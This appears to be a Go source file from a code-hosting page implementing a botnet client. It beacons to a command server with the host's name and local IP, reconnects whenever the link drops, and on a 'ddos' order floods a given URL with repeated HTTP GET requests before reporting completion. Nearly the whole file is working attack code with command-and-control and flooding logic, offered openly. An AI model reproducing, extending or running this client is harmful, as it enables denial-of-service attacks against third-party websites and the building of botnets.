You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

133 lines
2.9 KiB

  1. package main
  2. import (
  3. "bufio"
  4. "fmt"
  5. "net"
  6. "net/http"
  7. "os"
  8. "strconv"
  9. "strings"
  10. "time"
  11. )
  12. const (
  13. CONN_HOST = "localhost"
  14. CONN_PORT = "3333"
  15. CONN_TYPE = "tcp"
  16. sleeptime = 3000
  17. )
  18. func stablishConn() (conn net.Conn, err error) {
  19. // connect to this socket
  20. conn, err = net.Dial(CONN_TYPE, CONN_HOST+":"+CONN_PORT)
  21. return conn, err
  22. }
  23. func tryToConnect() (conn net.Conn, err error) {
  24. fmt.Println("trying to connect to the server")
  25. connected := false
  26. conn, err = stablishConn()
  27. for connected == false {
  28. conn, err = stablishConn()
  29. if err != nil {
  30. fmt.Println(err)
  31. fmt.Println("server not connected, sleep for " + strconv.Itoa(sleeptime) + " to try again")
  32. time.Sleep(sleeptime * time.Millisecond)
  33. //os.Exit(1)
  34. } else {
  35. connected = true
  36. }
  37. }
  38. return conn, err
  39. }
  40. func main() {
  41. conn, err := tryToConnect()
  42. hostname, err := os.Hostname()
  43. if err != nil {
  44. fmt.Println(err)
  45. os.Exit(1)
  46. }
  47. fmt.Println("connecting to server as hostname:", hostname)
  48. ip := getIp()
  49. fmt.Println("local ip:", ip)
  50. // send to socket
  51. fmt.Fprintf(conn, "[client connecting] - [date]: "+time.Now().Local().Format(time.UnixDate)+" - [hostname]: "+hostname+", [ip]: "+ip.String()+"\n")
  52. for {
  53. command, err := bufio.NewReader(conn).ReadString('\n')
  54. if err != nil {
  55. fmt.Println(err)
  56. fmt.Println("server disconnected")
  57. //os.Exit(1)
  58. conn, err = tryToConnect()
  59. }
  60. fmt.Println("Command from server: " + command)
  61. //fmt.Println(len(strings.Split(command, " ")))
  62. comm := strings.Split(command, " ")[0]
  63. switch comm {
  64. case "ddos":
  65. fmt.Println("url case, checking parameters")
  66. if len(strings.Split(command, " ")) < 3 {
  67. fmt.Println("not enought parameters")
  68. break
  69. }
  70. fmt.Println("url case")
  71. go ddos(command, conn, hostname)
  72. default:
  73. fmt.Println("default case, no specified command")
  74. fmt.Println("")
  75. fmt.Println("-- waiting for new orders --")
  76. }
  77. }
  78. }
  79. func ddos(command string, conn net.Conn, hostname string) {
  80. url := strings.Split(command, " ")[1]
  81. url = strings.TrimSpace(url)
  82. iterations := strings.Split(command, " ")[2]
  83. iterations = strings.TrimSpace(iterations)
  84. iter, err := strconv.Atoi(iterations)
  85. if err != nil {
  86. fmt.Println(err)
  87. }
  88. fmt.Println("url to ddos: " + url)
  89. for i := 0; i < iter; i++ {
  90. fmt.Println(i)
  91. resp, err := http.Get(url)
  92. if err != nil {
  93. fmt.Println(err)
  94. }
  95. fmt.Println(resp)
  96. }
  97. msg := "[hostname]: " + hostname + ", [msg]: iterations done, ddos ended" + "[date]: " + time.Now().Local().Format(time.UnixDate)
  98. fmt.Println(msg)
  99. fmt.Fprintf(conn, msg+"\n")
  100. fmt.Println("")
  101. fmt.Println("-- waiting for new orders --")
  102. }
  103. func getIp() net.IP {
  104. var ip net.IP
  105. ifaces, err := net.Interfaces()
  106. if err != nil {
  107. fmt.Println(err)
  108. }
  109. for _, i := range ifaces {
  110. addrs, err := i.Addrs()
  111. if err != nil {
  112. fmt.Println(err)
  113. }
  114. for _, addr := range addrs {
  115. switch v := addr.(type) {
  116. case *net.IPNet:
  117. ip = v.IP
  118. case *net.IPAddr:
  119. ip = v.IP
  120. }
  121. }
  122. }
  123. return ip
  124. }